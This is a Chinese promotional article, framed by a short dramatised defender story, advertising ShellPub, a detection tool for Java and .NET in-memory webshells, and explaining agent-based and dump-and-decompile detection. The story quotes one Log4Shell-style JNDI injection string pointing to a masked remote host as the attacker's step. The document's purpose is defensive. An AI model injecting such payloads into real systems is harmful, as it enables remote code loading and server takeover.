當殺瘋了的內存馬遇到河馬
這是七月最后一天,與往日并無不同,
同樣的桑拿天,同樣的炎熱。
并不平常,因為你在等一個信號。
雖素未蒙面,但你知道他會來。
信息大屏上各種數據不斷更新,一切都顯得那么平靜。
旁邊小哥泡面的香味,引起一陣進食的欲望。
但你只看了一眼桌角貼著的便簽,記錄著最新的漏洞信息:

就讓你搶個先手,但也暴露了你的招式
RCE?!下一招必然會是內存馬!
那么工具是冰蝎?抑或哥斯拉?
一年了,你的內存馬攻擊可有新的變化?
信息大屏上快速閃過幾條日志信息,
“來了”,微瞇的雙眼迅速睜圓,
“172.16.x.xxx”,手指一片飛舞,
話音未落,已經進入相應的主機,
黑底的SSH上跳躍著一行行白色命令:
${jndi:ldap://xxxx.com.cn}
果然是內存馬,還能有什么新花樣!
也接我一招,專破內存馬!

幾分鐘后,屏幕上跳出一行結果。
“重啟吧。”你關掉ssh終端,對旁邊的甲方小哥說。
“你剛剛用的是ShellPub嗎?”
你轉過頭去,認真地說:“ShellPub,是的,但我更喜歡叫它——河馬!”
ShellPub,河馬內存馬檢測工具正式公測:
? Linux版,專用于Java類內存馬檢測
- 自動識別包括Tomcat、Weblogic、Jboss 環境;
- Spring等打包環境支持手動指定進程方式,因此第三方Java應用(gitlab,ES)都可以檢測;
? Windows版
- Java內存馬檢測, Java6+; OA系統、辦公系統;
- Net內存馬,IIS等場景下的.net內存馬檢測。
全面覆蓋內存馬常見場景,可檢測冰蝎、哥斯拉等內存馬利用工具注入的內存馬。
河馬是如何檢測內存馬的?
就絕大多數情況而言,內存馬的惡意代碼并無不同,只是因為位于內存之中,傳統工具無法觸達而已。既然惡意代碼位于內存之中,那就到內存中去找。
但關于在哪兒檢測惡意代碼,目前有兩種方式:
? 在內存中檢測
這種方法是將檢測的agent注入內存中,Hook關鍵的類,無論內存馬是動態注冊,還是基于agent修改字節碼,都可以預先被檢測agent感知到,然后運行檢測代碼。
這種方法的優點很明顯,即可以做到事前預防,甚至還可以主動阻斷內存馬的攻擊。但缺點同樣明顯,檢測agent在業務JVM中運行,占用計算資源,必然會影響到正常業務邏輯。
? 在內存中找,在硬盤上檢測
同樣是使用agent技術,進入目標JVM中,遍歷篩選可疑的類,然后dump到硬盤,將類字節碼反編譯為Java代碼后,再進行惡意代碼檢測。
相比前一種檢測方法,這種方法相對比較溫和,對正常業務的侵入性較弱。
ShellPub河馬當前既支持Agent方式檢測,也支持無Agent方式檢測。
盡管內存馬的攻擊手段越來越隱蔽,但攻防雙方的技術總是螺旋上升的,只要有攻擊,必然有防守,專注于Webshell查殺研究的河馬也將持續努力,為大家提供使用更簡便、檢測更精準、高效的內存馬檢測工具。